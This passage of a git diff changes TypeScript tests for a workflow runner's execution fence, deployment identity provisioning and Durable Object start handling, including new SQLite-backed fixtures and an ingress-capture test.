+          all: <T>() => bound.all<T>(),
+          async run() {
+            sqlite.exec(`DROP TABLE ${EXECUTION_FENCE_TABLE}`);
+            sqlite.exec(EXECUTION_FENCE_DDL);
+            return bound.run();
+          },
+        };
+        return statement;
+      },
+    };
+    await expect(
+      seedDeploymentIdentity(db, 'acme', 'open'),
+    ).rejects.toBeInstanceOf(DeploymentIdentityError);
+    expect(
+      sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).all(),
+    ).toEqual([]);
+  });
+
+  it('preserves active fence metadata while provisioning proof schema prefixes', async () => {
+    const proofColumns = [
+      'proof_table_prefix',
+      'proof_workflow_id',
+      'proof_start_token',
+    ];
+    for (const stage of [4, 5, 6]) {
+      const sqlite = openSqlite();
+      const db = sqliteUnitDatabase(sqlite) as DeploymentIdentityDatabase;
+      const fence = new ExecutionFenceStore(db, { now: () => 17 });
+      const reading = await fence.transition({
+        expected: 'open',
+        next: 'proof-only',
+        proofKey: 'key',
+        expectedMutationEpoch: 0,
+        expectedRevision: 0,
+        advanceMutationEpoch: true,
+      });
+      await fence.recordProofRun('key', 'run', reading);
+      for (const name of proofColumns.slice(stage - 4).reverse())
+        sqlite.exec(`ALTER TABLE ${EXECUTION_FENCE_TABLE} DROP COLUMN ${name}`);
+      const before = (
+        await db
+          .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`)
+          .all<Record<string, unknown>>()
+      ).results[0];
+      expect(before).toBeDefined();
+      await seedDeploymentIdentity(db, 'acme', 'open');
+      expect(
+        sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).get(),
+      ).toEqual({
+        ...before,
+        proof_table_prefix: null,
+        proof_workflow_id: null,
+        proof_start_token: null,
+      });
+      expect(
+        sqlite.prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`).all(),
+      ).toHaveLength(12);
+      await expect(fence.read()).resolves.toEqual({
+        ...reading,
+        proofRunId: 'run',
+      });
+      const after = sqlite
+        .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`)
+        .get();
+      await seedDeploymentIdentity(db, 'acme', 'migration-locked');
+      expect(
+        sqlite.prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}`).get(),
+      ).toEqual(after);
+    }
+  });
+
+  it('preserves the runtime seed vocabulary and the provisioning birth-state restriction', async () => {
+    for (const state of ['draining', 'proof-only'] as const) {
+      const sqlite = openSqlite();
+      const db = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase;
+      const fence = new ExecutionFenceStore(db);
+      await fence.seed(state);
+      await expect(fence.read()).resolves.toEqual({
+        state,
+        mutationEpoch: 0,
+        requireMutationEpoch: false,
+        transitionRevision: 0,
+      });
+      const statements: string[] = [];
+      const untouched: DeploymentIdentityDatabase = {
+        prepare(sql) {
+          statements.push(sql);
+          return db.prepare(sql);
+        },
+      };
+      await expect(
+        seedDeploymentIdentity(
+          untouched,
+          'acme',
+          state as InitialExecutionFenceState,
+        ),
+      ).rejects.toBeInstanceOf(DeploymentIdentityError);
+      expect(statements).toEqual([]);
+    }
+  });
   it.each([
     'abc',
     'a0z',
@@ -208,7 +399,7 @@ describe('deployment identity provisioning', () => {
     const fenceInsert = preparedQueries.find((query) =>
       query.startsWith(`INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}`),
     );
-    expect(fenceInsert).toContain('VALUES (?, ?, NULL, NULL, ?)');
+    expect(fenceInsert).toContain('SELECT ?, ?, NULL, NULL, ?');
     expect(fenceInsert).not.toContain("'migration-locked'");
     expect(fenceBindings).toHaveLength(1);
     expect(fenceBindings[0]?.[0]).toBe(EXECUTION_FENCE_ROW_ID);
diff --git a/packages/flowsafe/src/do-runner/durable-object.test.ts b/packages/flowsafe/src/do-runner/durable-object.test.ts
index 16222982..04eaa81d 100644
--- a/packages/flowsafe/src/do-runner/durable-object.test.ts
+++ b/packages/flowsafe/src/do-runner/durable-object.test.ts
@@ -1,9 +1,10 @@
 // SPDX-License-Identifier: Apache-2.0
 import type { DurableObjectState } from '@cloudflare/workers-types';
-import { InMemoryStore } from '@mastra/core/storage';
+import type { MastraCompositeStore } from '@mastra/core/storage';
 import type {
   DefaultEngineType,
   ExecuteFunction,
+  WorkflowRunState,
 } from '@mastra/core/workflows';
 import { describe, expect, it, vi } from 'vitest';
 import { z } from 'zod';
@@ -12,13 +13,16 @@ import {
   deploymentIdentityRequest,
   TEST_DEPLOYMENT_IDENTITY_SECRET,
 } from '../../test-support/deployment-identity.js';
+import { durableKeyValueStorageFixture } from '../../test-support/durable-key-value-storage.js';
 import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
 import {
   ApprovalService,
+  D1ResourceOwnershipStore,
   type ExecutionPrincipal,
   encodeExecutionPrincipal,
   InMemoryApprovalStore,
   InMemoryResourceOwnershipStore,
+  type ResourceOwnershipDatabase,
 } from '../approval-api/index.js';
 import { reconcileApprovalsForSummary } from '../host-kit/approval-bridge.js';
 import {
@@ -27,6 +31,7 @@ import {
 } from '../host-kit/do-run-topology.js';
 import type { DurableKeyValueStorage } from './cf-types.js';
 import {
+  createD1Storage,
   type SnapshotDatabase,
   sweepExpiredRunDeadlines,
 } from './d1-storage.js';
@@ -38,17 +43,23 @@ import {
   type DurableObjectRunOwnershipStore,
   nextDutyAlarmAt,
 } from './durable-object.js';
+import { MUTATION_EPOCH_HEADER } from './execution-admission.js';
 import type { ExecutionFenceDatabase } from './execution-fence.js';
 import { ExecutionFenceStore } from './execution-fence.js';
 import { EXECUTION_PRINCIPAL_HEADER } from './execution-principal-header.js';
+import {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+} from './fenced-workflow-capability.js';
+import type { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js';
 import { init } from './init.js';
 import {
+  type RequestContextProvider,
   type RunnerRuntime,
   RunStateUnreadableError,
   type RunSummary,
 } from './runtime.js';
 import type { ScheduleSourceStore } from './schedule-source.js';
-import type { StartIdempotencyDatabase } from './start-idempotency.js';
 import { StartIdempotencyStore } from './start-idempotency.js';
 import {
   isSuspensionTimeoutResumeData,
@@ -63,8 +74,27 @@ import {
   type SuspensionDeadlineRecord,
 } from './suspension-deadline.js';
 
+const testStorageDatabases = new WeakMap<
+  MastraCompositeStore,
+  ExecutionFenceDatabase & ResourceOwnershipDatabase
+>();
+function testStorage(): MastraCompositeStore {
+  const binding = deploymentIdentityDatabase() as ExecutionFenceDatabase &
+    ResourceOwnershipDatabase;
+  const storage = createD1Storage({ binding });
+  testStorageDatabases.set(storage, binding);
+  return storage;
+}
+function testDatabase(
+  storage: MastraCompositeStore,
+): ExecutionFenceDatabase & ResourceOwnershipDatabase {
+  const binding = testStorageDatabases.get(storage);
+  if (!binding) throw new Error('test storage database was not registered');
+  return binding;
+}
+
 interface TestEnv extends DeploymentIdentityEnv {
-  storage: InMemoryStore;
+  storage: MastraCompositeStore;
   runtime?: RunnerRuntime;
   /**
    * The deployment execution fence the built runtime is wired to. Always
@@ -90,10 +120,12 @@ interface OwnerHooks {
 }
 
 function makeProductionEnv(
-  storage = new InMemoryStore(),
+  storage = testStorage(),
   hooks?: OwnerHooks,
 ): TestEnv {
-  const registry = new InMemoryResourceOwnershipStore();
+  const registry = new D1ResourceOwnershipStore(
+    testDatabase(storage) as ResourceOwnershipDatabase,
+  );
   const attempts = new Map<string, string>();
   const customOwner = hooks?.owner;
   const owners: DurableObjectRunOwnershipStore = hooks
@@ -121,7 +153,7 @@ function makeProductionEnv(
         },
       }
     : registry;
-  const db = deploymentIdentityDatabase();
+  const db = testDatabase(storage);
   return {
     storage,
     owners,
@@ -135,18 +167,103 @@ function makeProductionEnv(
   };
 }
 
-/**
- * The two run-state reads a RunnerRuntime stub has to answer, over one
- * implementation. Every stub in this file goes in through
- * `as unknown as RunnerRuntime`, so TypeScript sees nothing when a method is
- * missing: a stub carrying only `status` would send each alarm-driven test
- * down the unreadable-state path — no resume, no charge, watchdog cadence —
- * and pass anyway. Two spies rather than one so a test can pin WHICH read a
- * path made: a wake reads `authoritativeStatus`, an HTTP route reads
- * `status`.
- */
+async function durableOwnerRecovery(
+  runtime: RunnerRuntime,
+  workflowId: string,
+  runId: string,
+  token: string,
+) {
+  const state = await runtime.authoritativeStartState(workflowId, runId);
+  if (!state) throw new Error('missing durable execution for journal fixture');
+  return {
+    version: 2,
+    phase: 'prepared',
+    owner: { kind: 'human', id: 'owner-1' },
+    workflowId,
+    runId,
+    token,
+    execution: state.execution,
+  };
+}
+
+/** Distinct spies keep public-status and authoritative-read assertions independent. */
 function statusStub(read: RunnerRuntime['status']) {
-  return { status: vi.fn(read), authoritativeStatus: vi.fn(read) };
+  return {
+    status: vi.fn(read),
+    authoritativeStatus: vi.fn(read),
+    isRunActive: vi.fn(() => false),
+    assertExistingRunAllowed: vi.fn(async () => undefined),
+  };
+}
+
+async function hostR1WorkflowFixture(
+  mode: 'custom-null' | 'actual-prefix',
+  wired = true,
+) {
+  const { InMemoryStore } = await import('@mastra/core/storage');
+  const sql = openSqlite();
+  const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase &
+    ResourceOwnershipDatabase;
+  const storage =
+    mode === 'custom-null'
+      ? new InMemoryStore()
+      : createD1Storage({ binding, tablePrefix: 'host_r1_' });
+  await storage.init();
+  const reservations = new StartIdempotencyStore(binding);
+  const app = init(
+    { storage },
+    { executionFence: 'none', startIdempotency: wired ? reservations : 'none' },
+  );
+  let effects = 0;
+  app
+    .createWorkflow({
+      id: 'host-r1',
+      inputSchema: z.object({}),
+      outputSchema: z.object({}),
+    })
+    .then(
+      app.createStep({
+        id: 'gate',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+        execute: async ({ suspend }) => {
+          effects++;
+          return suspend({ reason: 'held' });
+        },
+      }),
+    )
+    .commit();
+  const owners = new D1ResourceOwnershipStore(binding);
+  const hostRuntime = new Proxy({} as RunnerRuntime, {
+    get: (_target, property) => {
+      const value: unknown = Reflect.get(app.runtime, property, app.runtime);
+      return typeof value === 'function' ? value.bind(app.runtime) : value;
+    },
+  });
+  const env: TestEnv = {
+    storage,
+    owners,
+    runtime: hostRuntime,
+    DB: deploymentIdentityDatabase(),
+    DEPLOYMENT_TENANT: 'acme',
+    DEPLOYMENT_IDENTITY_SECRET: TEST_DEPLOYMENT_IDENTITY_SECRET,
+  };
+  const journal = durableKeyValueStorageFixture();
+  const runner = new TestRunner(journal.state, env);
+  const workflows = await storage.getStore('workflows');
+  if (!workflows) throw new Error('missing workflow domain');
+  return {
+    app,
+    storage,
+    workflows,
+    reservations,
+    owners,
+    env,
+    journal,
+    runner,
+    sql,
+    effects: () => effects,
+  };
 }
 
 /**
@@ -156,32 +273,29 @@ function statusStub(read: RunnerRuntime['status']) {
  * it buys is that they are FENCED runtimes, which is what DurableObjectRunner
  * asserts of anything it serves from while a DB binding is bound.
  */
-function newTestExecutionFence(): ExecutionFenceStore {
-  return new ExecutionFenceStore(
-    sqliteUnitDatabase(openSqlite()) as ExecutionFenceDatabase,
-  );
+function newTestExecutionFence(
+  storage: MastraCompositeStore,
+): ExecutionFenceStore {
+  return new ExecutionFenceStore(testDatabase(storage));
 }
-
-/**
- * A start-reservation store over its own throwaway database, for the same
- * reason as the fence above: DurableObjectRunner refuses to serve from a
- * runtime that has none while a DB binding is bound, and every runner in this
- * file carries one. No key is ever used against it, so the table is never even
- * created and every runner behaves exactly as it did before reservations.
- */
-function newTestStartIdempotency(): StartIdempotencyStore {
-  return new StartIdempotencyStore(
-    sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase,
-  );
+function newTestStartIdempotency(
+  storage: MastraCompositeStore,
+): StartIdempotencyStore {
+  return new StartIdempotencyStore(testDatabase(storage));
 }
 
 function gatedRuntime(
-  storage: InMemoryStore,
-  executionFence: ExecutionFenceStore = newTestExecutionFence(),
+  storage: MastraCompositeStore,
+  executionFence: ExecutionFenceStore = newTestExecutionFence(storage),
+  requestContextForRun?: RequestContextProvider,
 ): RunnerRuntime {
   const { createWorkflow, createStep, runtime } = init(
     { storage },
-    { executionFence, startIdempotency: newTestStartIdempotency() },
+    {
+      executionFence,
+      startIdempotency: newTestStartIdempotency(storage),
+      requestContextForRun,
+    },
   );
   const gate = createStep({
     id: 'gate',
@@ -205,6 +319,22 @@ function gatedRuntime(
 }
 
 class TestRunner extends DurableObjectRunner<TestEnv> {
+  constructor(
+    state: DurableObjectState | undefined,
+    env: TestEnv,
+    withStorage = true,
+  ) {
+    super(
+      withStorage
+        ? ({
+            ...state,
+            storage:
+              state?.storage ?? durableKeyValueStorageFixture().state.storage,
+          } as DurableObjectState)
+        : state,
+      env,
+    );
+  }
   protected runOwnership(env: TestEnv): DurableObjectRunOwnershipStore {
     return env.owners;
   }
@@ -218,7 +348,65 @@ class TestRunner extends DurableObjectRunner<TestEnv> {
   }
 
   protected build(env: TestEnv): RunnerRuntime {
-    if (env.runtime) return env.runtime;
+    if (env.runtime) {
+      if (
+        env.runtime.constructor.name !== 'RunnerRuntime' &&
+        !env.runtime.authoritativeStartState
+      ) {
+        const selected = new Map<
+          string,
+          import('./runtime.js').AuthoritativeStartState
+        >();
+        const nativeStart = env.runtime.start?.bind(env.runtime);
+        env.runtime.authoritativeStartState = vi.fn(
+          async (_workflow, runId) => selected.get(runId) ?? null,
+        );
+        env.runtime.settleStartExecution = vi.fn(async () => {});
+        env.runtime.isRunActive ??= vi.fn(() => false);
+        env.runtime.assertExistingRunAllowed ??= vi.fn(async () => undefined);
+        if (nativeStart)
+          env.runtime.start = vi.fn(async (workflowId, options) => {
+            const summary = await nativeStart(workflowId, options);
+            const execution = {
+              tablePrefix: null,
+              workflowId,
+              runId: summary.runId,
+              startToken: 'stub-generation',
+            } as const;
+            await options?.onPreparedStartIdentity?.(execution);
+            const provenance = {
+              version: 2 as const,
+              startToken: execution.startToken,
+              attemptToken: options?.attemptToken ?? 'stub-attempt',
+              resumeCounts: [],
+              startIdentity: options?.startIdentity,
+            };
+            selected.set(summary.runId, {
+              kind: 'result',
+              storage: 'unfenced',
+              execution,
+              provenance,
+              summary,
+              snapshot: {
+                runId: summary.runId,
+                status: summary.status,
+                context: {},
+                value: {},
+                serializedStepGraph: [],
+                activePaths: [],
+                activeStepsPath: {},
+                suspendedPaths: {},
+                resumeLabels: {},
+                waitingPaths: {},
+                timestamp: 1,
+                requestContext: {},
+              },
+            } as import('./runtime.js').AuthoritativeStartState);
+            return summary;
+          });
+      }
+      return env.runtime;
+    }
     return gatedRuntime(env.storage, env.fence);
   }
 }
@@ -285,45 +473,6 @@ function preparedScheduleSource(input: {
   };
 }
 
-function recoveryStorage(events: string[] = []): {
-  state: DurableObjectState;
-  storage: DurableKeyValueStorage;
-  values: Map<string, unknown>;
-  alarms: number[];
-} {
-  const values = new Map<string, unknown>();
-  const alarms: number[] = [];
-  const storage: DurableKeyValueStorage = {
-    async get<T>(key: string): Promise<T | undefined> {
-      events.push(`get:${key}`);
-      return values.get(key) as T | undefined;
-    },
-    async put<T>(key: string, value: T): Promise<void> {
-      events.push(`put:${key}`);
-      values.set(key, value);
-    },
-    async delete(key: string): Promise<boolean> {
-      events.push(`delete:${key}`);
-      return values.delete(key);
-    },
-    async setAlarm(scheduledTime: number | Date): Promise<void> {
-      events.push('setAlarm');
-      alarms.push(
-        scheduledTime instanceof Date ? scheduledTime.getTime() : scheduledTime,
-      );
-    },
-    async deleteAlarm(): Promise<void> {
-      events.push('deleteAlarm');
-    },
-  };
-  return {
-    state: { storage } as unknown as DurableObjectState,
-    storage,
-    values,
-    alarms,
-  };
-}
-
 async function startGated(runner: TestRunner): Promise<RunSummary> {
   const response = await runner.fetch(
     post('/runs', {
@@ -335,130 +484,976 @@ async function startGated(runner: TestRunner): Promise<RunSummary> {
   return (await response.json()) as RunSummary;
 }
 
-describe('DurableObjectRunner.fetch', () => {
-  it('rejects a start without a trusted execution principal before runtime or ownership work', async () => {
-    const reserve = vi.fn(async () => true);
-    const runtime = {
-      ...statusStub(async () => null),
-      start: vi.fn(),
-    } as unknown as RunnerRuntime;
-    const runner = new TestRunner(undefined, {
-      ...makeProductionEnv(new InMemoryStore(), {
-        reserve,
-        settle: vi.fn(async () => undefined),
-      }),
-      runtime,
-    });
+function cDeferred() {
+  let resolve = () => {};
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
 
-    const response = await runner.fetch(
-      deploymentIdentityRequest('http://do/runs', {
-        method: 'POST',
-        headers: { 'content-type': 'application/json' },
-        body: JSON.stringify({
-          workflowId: 'gated',
-          runId: 'run-missing-principal',
-          inputData: { topic: 't' },
-        }),
-      }),
-    );
+function cWorkflowFixture(owned = false, provider?: RequestContextProvider) {
+  const events: string[] = [];
+  const journal = durableKeyValueStorageFixture(events);
+  const env = makeProductionEnv();
+  const binding = env.DB;
+  if (!binding) throw new Error('missing managed test database');
+  const storage = owned ? createD1Storage({ binding }) : env.storage;
+  testStorageDatabases.set(
+    storage,
+    binding as ExecutionFenceDatabase & ResourceOwnershipDatabase,
+  );
+  const runtime = gatedRuntime(storage, env.fence, provider);
+  env.runtime = runtime;
+  const runner = new TestRunner(journal.state, env);
+  const start = vi.spyOn(runtime, 'start');
+  const reserve = vi.spyOn(env.owners, 'reserveAll');
+  return { events, journal, env, storage, runtime, runner, start, reserve };
+}
 
-    expect(response.status).toBe(403);
-    await expect(response.json()).resolves.toEqual({
-      error: 'run request carries no valid trusted execution principal',
-    });
-    expect(reserve).not.toHaveBeenCalled();
-    expect(runtime.status).not.toHaveBeenCalled();
-    expect(runtime.start).not.toHaveBeenCalled();
-  });
+function cHoldWorkflowVerification(env: TestEnv) {
+  const entered = cDeferred();
+  const release = cDeferred();
+  const identity = deploymentIdentityDatabase();
+  env.DB = {
+    prepare(query) {
+      const statement = identity.prepare(query);
+      return {
+        ...statement,
+        async all<T>() {
+          const result = await statement.all<T>();
+          entered.resolve();
+          await release.promise;
+          return result;
+        },
+      };
+    },
+  };
+  return { entered, release };
+}
 
-  it('uses a lifecycle-neutral missing-principal diagnostic on terminal routes', async () => {
-    const runner = new TestRunner(undefined, makeProductionEnv());
-    for (const path of [
-      '/runs/gated/run-missing-principal/terminate',
-      '/runs/gated/run-missing-principal/deadline',
-    ]) {
-      const response = await runner.fetch(
-        deploymentIdentityRequest(`http://do${path}`, { method: 'POST' }),
-      );
+const C_WORKFLOW_BODY = {
+  workflowId: 'gated',
+  runId: 'c-run',
+  inputData: { topic: 'original' },
+};
+const C_REPLACEMENT_PRINCIPAL: ExecutionPrincipal = {
+  kind: 'service',
+  id: 'replacement',
+  purpose: 'replacement start',
+};
 
-      expect(response.status).toBe(403);
-      await expect(response.json()).resolves.toEqual({
-        error: 'run request carries no valid trusted execution principal',
-      });
-    }
-  });
+async function cWorkflowBarrier(runner: TestRunner) {
+  const response = await runner.fetch(
+    deploymentIdentityRequest('http://do/runs/gated/c-run/start-liveness'),
+  );
+  expect(response.status).toBe(200);
+}
 
-  it('rejects a new resume leg without requester kind before runtime work', async () => {
-    const runtime = {
-      resume: vi.fn(),
-      ...statusStub(async () => null),
-    } as unknown as RunnerRuntime;
-    const runner = new TestRunner(undefined, {
-      ...makeProductionEnv(),
-      runtime,
+async function cHoldWorkflowFifo(fixture: ReturnType<typeof cWorkflowFixture>) {
+  const entered = cDeferred();
+  const release = cDeferred();
+  const nativeStatus = fixture.runtime.status.bind(fixture.runtime);
+  const status = vi
+    .spyOn(fixture.runtime, 'status')
+    .mockImplementationOnce(async (...args) => {
+      entered.resolve();
+      await release.promise;
+      return nativeStatus(...args);
     });
+  const holder = fixture.runner.fetch(
+    deploymentIdentityRequest('http://do/runs/gated/c-run/dispatch-status'),
+  );
+  await entered.promise;
+  return { release, holder, status };
+}
 
-    const response = await runner.fetch(
-      deploymentIdentityRequest(
-        'http://do/runs/gated/run-missing-kind/resume',
-        {
-          method: 'POST',
-          headers: { 'content-type': 'application/json' },
-          body: JSON.stringify({
-            requestedBy: 'reviewer-1',
-            resumeData: { approved: true },
-          }),
-        },
-      ),
-    );
+function cObserveFifo() {
+  const NativePromise = Promise;
+  const signal = cDeferred();
+  let count = 0;
+  const Observed = new Proxy(NativePromise, {
+    construct(target, args) {
+      const stack = new Error().stack ?? '';
+      const value = Reflect.construct(target, args, target);
+      if (stack.includes('#withOperationLock')) {
+        count++;
+        signal.resolve();
+      }
+      return value;
+    },
+  });
+  vi.stubGlobal('Promise', Observed);
+  return {
+    enqueued: signal.promise,
+    count: () => count,
+    restore: () => vi.stubGlobal('Promise', NativePromise),
+  };
+}
 
-    expect(response.status).toBe(400);
-    expect(runtime.resume).not.toHaveBeenCalled();
+async function cRequireEpoch2(fence: ExecutionFenceStore | undefined) {
+  if (!fence) throw new Error('missing managed execution fence');
+  await fence.seed('open');
+  for (let index = 0; index < 2; index++) {
+    const before = await fence.read();
+    const draining = await fence.transition({
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: before.mutationEpoch,
+      expectedRevision: before.transitionRevision,
+      advanceMutationEpoch: true,
+    });
+    await fence.transition({
+      expected: 'draining',
+      next: 'open',
+      expectedMutationEpoch: draining.mutationEpoch,
+      expectedRevision: draining.transitionRevision,
+    });
+  }
+  expect(await fence.read()).toMatchObject({
+    state: 'open',
+    mutationEpoch: 2,
+    requireMutationEpoch: true,
   });
+}
 
-  it('accepts a resume requester exactly at the principal-id bound', async () => {
-    const resume = vi.fn(
-      async (
-        _workflowId: string,
-        runId: string,
-        options: NonNullable<Parameters<RunnerRuntime['resume']>[2]>,
-      ) => ({
-        runId,
-        status: 'success' as const,
-        requestedBy: options.requestedBy,
-        requestedByKind: options.requestedByKind,
-      }),
+describe('C workflow ingress capture', () => {
+  it.each(
+    (['human', 'service', 'system'] as const).flatMap((kind) =>
+      (['alternate', 'second-throw'] as const).flatMap((mode) =>
+        (kind === 'human' ? [false, true] : [true]).map((scheduled) => ({
+          kind,
+          mode,
+          scheduled,
+        })),
+      ),
+    ),
+  )('C workflow DO captures body and distinct source owner before waits ($kind, $mode, scheduled=$scheduled)', async ({
+    kind,
+    mode,
+    scheduled,
+  }) => {
+    const fixture = cWorkflowFixture();
+    const principal: ExecutionPrincipal =
+      kind === 'human'
+        ? { kind, id: 'initiator', role: 'operator' }
+        : { kind, id: `${kind}-initiator`, purpose: 'schedule execution' };
+    const fence = fixture.env.fence;
+    if (!fence) throw new Error('missing workflow test fence');
+    const fenceEntered = cDeferred();
+    const fenceRelease = cDeferred();
+    const sourceEntered = cDeferred();
+    const sourceRelease = cDeferred();
+    const copied = cDeferred();
+    const copyRelease = cDeferred();
+    const readFence = fence.read.bind(fence);
+    vi.spyOn(fence, 'read').mockImplementationOnce(async () => {
+      fenceEntered.resolve();
+      await fenceRelease.promise;
+      return readFence();
+    });
+    const targetInput = { topic: 'scheduled-original' };
+    const targetState = {};
+    const targetContext = { 'test.source': 'original' };
+    const target = {
+      type: 'workflow' as const,
+      workflowId: 'gated',
+      inputData: targetInput,
+      initialState: targetState,
+      requestContext: targetContext,
+    };
+    const resolveTarget = vi.fn<ScheduleSourceStore['resolveScheduleTarget']>(
+      async () => {
+        sourceEntered.resolve();
+        await sourceRelease.promise;
+        return target;
+      },
     );
-    const runner = new TestRunner(undefined, {
-      ...makeProductionEnv(),
-      runtime: { resume } as unknown as RunnerRuntime,
+    fixture.env.schedules = { resolveScheduleTarget: resolveTarget };
+    const ownerValues: DurableObjectRunOwner = {
+      kind: 'human',
+      id: 'schedule-owner',
+    };
+    const ownerReads = {
+      kind: vi.fn(() => ownerValues.kind),
+      id: vi.fn(() => ownerValues.id),
+    };
+    const owner: DurableObjectRunOwner = {
+      get kind() {
+        return ownerReads.kind();
+      },
+      get id() {
+        return ownerReads.id();
+      },
+    };
+    const nativeOwner = fixture.env.owners.owner.bind(fixture.env.owners);
+    vi.spyOn(fixture.env.owners, 'owner').mockImplementation(
+      async (resourceKind, id) =>
+        resourceKind === 'schedule' ? owner : nativeOwner(resourceKind, id),
+    );
+    const nativeGet = fixture.journal.storage.get.bind(fixture.journal.storage);
+    let held = false;
+    vi.spyOn(fixture.journal.storage, 'get').mockImplementation(
+      async <T>(key: string) => {
+        if (!held && key === 'flowsafe:run-owner-recovery:v1') {
+          held = true;
+          copied.resolve();
+          await copyRelease.promise;
+        }
+        return nativeGet<T>(key);
+      },
+    );
+    const bodyInput = { topic: 'body-original' };
+    const bodyState = {};
+    const bodyContext = { 'test.source': 'body-original' };
+    const expectedOwner = scheduled
+      ? { kind: 'human', id: 'schedule-owner' }
+      : { kind: principal.kind, id: principal.id };
+    const values = {
+      workflowId: 'gated',
+      runId: 'c-run',
+      inputData: bodyInput,
+      initialState: bodyState,
+      requestContext: bodyContext,
+      scheduleId: scheduled ? 'original-schedule' : undefined,
+      dispatchId: scheduled ? 'original-dispatch' : undefined,
+      deadlineMs: 1000,
+      idempotencyKey: 'original-key',
+    };
+    const reads = new Map<string, number>();
+    const body = {};
+    for (const key of Object.keys(values) as Array<keyof typeof values>)
+      Object.defineProperty(body, key, {
+        enumerable: true,
+        configurable: true,
+        get() {
+          const count = (reads.get(key) ?? 0) + 1;
+          reads.set(key, count);
+          if (count > 1 && mode === 'second-throw')
+            throw new Error(`second body read: ${key}`);
+          return values[key];
+        },
+      });
+    const request = post('/runs', C_WORKFLOW_BODY, principal);
+    request.headers.set(MUTATION_EPOCH_HEADER, '2');
+    vi.spyOn(request, 'json').mockResolvedValue(body);
+    const writes: Array<[string, unknown]> = [];
+    const nativePut = fixture.journal.storage.put.bind(fixture.journal.storage);
+    vi.spyOn(fixture.journal.storage, 'put').mockImplementation(
+      async (key, value) => {
+        writes.push([key, structuredClone(value)]);
+        await nativePut(key, value);
+      },
+    );
+    const pending = fixture.runner.fetch(request);
+    const outcome = pending.then(
+      () => false,
+      () => false,
+    );
+    try {
+      expect(
+        await Promise.race([fenceEntered.promise.then(() => true), outcome]),
+      ).toBe(true);
+      expect([...reads.keys()].sort()).toEqual(Object.keys(values).sort());
+      for (const count of reads.values()) expect(count).toBe(1);
+      Object.assign(values, {
+        workflowId: 'replacement',
+        runId: 'replacement',
+        inputData: { topic: 'replacement' },
+        initialState: { replaced: true },
+        requestContext: { replaced: true },
+        scheduleId: 'replacement',
+        dispatchId: 'replacement',
+        deadlineMs: 9000,
+        idempotencyKey: 'replacement',
+      });
+      fenceRelease.resolve();
+      if (scheduled) {
+        expect(
+          await Promise.race([sourceEntered.promise.then(() => true), outcome]),
+        ).toBe(true);
+        expect(resolveTarget).toHaveBeenCalledWith(
+          'original-schedule',
+          'original-dispatch',
+          'c-run',
+        );
+        sourceRelease.resolve();
+      }
+      expect(
+        await Promise.race([copied.promise.then(() => true), outcome]),
+      ).toBe(true);
+      if (!scheduled) expect(resolveTarget).not.toHaveBeenCalled();
+      expect(ownerReads.kind).toHaveBeenCalledTimes(scheduled ? 1 : 0);
+      expect(ownerReads.id).toHaveBeenCalledTimes(scheduled ? 1 : 0);
+      Object.assign(ownerValues, { kind: 'service', id: 'replacement-owner' });
+      Object.assign(target, {
+        workflowId: 'replacement',
+        inputData: { topic: 'replacement-target' },
+        initialState: { replaced: true },
+        requestContext: { replaced: true },
+      });
+    } finally {
+      fenceRelease.resolve();
+      sourceRelease.resolve();
+      copyRelease.resolve();
+      await outcome;
+    }
+    const response = await pending;
+    expect(response.status).toBe(200);
+    expect(fixture.start).toHaveBeenCalledOnce();
+    expect(fixture.start.mock.calls[0]?.[0]).toBe('gated');
+    const options = fixture.start.mock.calls[0]?.[1];
+    expect(options).toMatchObject({
+      runId: 'c-run',
+      deadlineMs: 1000,
+      idempotencyKey: 'original-key',
+      mutationEpoch: 2,
+      requestedBy: principal.id,
+      requestedByKind: principal.kind,
+      startIdentity: {
+        owner: { kind: principal.kind, id: principal.id },
+        target: { kind: 'workflow', id: 'gated' },
+      },
+      runOwnerGuard: { owner: expectedOwner },
     });
-    const requestedBy = 'r'.repeat(200);
-
-    const response = await runner.fetch(
-      post('/runs/gated/run-bounded-requester/resume', {
-        requestedBy,
-        requestedByKind: 'human',
-      }),
+    expect(options?.inputData).toBe(scheduled ? targetInput : bodyInput);
+    expect(options?.initialState).toBe(scheduled ? targetState : bodyState);
+    expect(options?.storedRequestContext).toBe(
+      scheduled ? targetContext : bodyContext,
+    );
+    expect(options?.runOwnerGuard?.reservationToken).toBe(
+      options?.attemptToken,
+    );
+    expect(Object.hasOwn(options ?? {}, 'onPreparedStartIdentity')).toBe(true);
+    expect(options?.onPreparedStartIdentity).toBeTypeOf('function');
+    expect(fixture.reserve.mock.calls[0]).toEqual([
+      [{ kind: 'run', resourceId: 'c-run' }],
+      expectedOwner,
+      options?.attemptToken,
+    ]);
+    const journals = writes.filter(([key]) =>
+      key.startsWith('flowsafe:run-owner-recovery'),
     );
+    expect(journals).toHaveLength(2);
+    expect(journals[0]?.[1]).toMatchObject({
+      version: 2,
+      phase: 'preparing',
+      workflowId: 'gated',
+      runId: 'c-run',
+      token: options?.attemptToken,
+      owner: expectedOwner,
+    });
+    expect(journals[1]?.[1]).toMatchObject({
+      version: 2,
+      phase: 'prepared',
+      execution: {
+        tablePrefix: '',
+        workflowId: 'gated',
+        runId: 'c-run',
+        startToken: expect.any(String),
+      },
+    });
+    for (const count of reads.values()) expect(count).toBe(1);
+    expect(ownerReads.kind).toHaveBeenCalledTimes(scheduled ? 1 : 0);
+    expect(ownerReads.id).toHaveBeenCalledTimes(scheduled ? 1 : 0);
+    expect(Object.isFrozen(body)).toBe(false);
+    expect(Object.isFrozen(owner)).toBe(false);
+  });
 
-    expect(response.status).toBe(200);
-    expect(resume).toHaveBeenCalledWith(
-      'gated',
-      'run-bounded-requester',
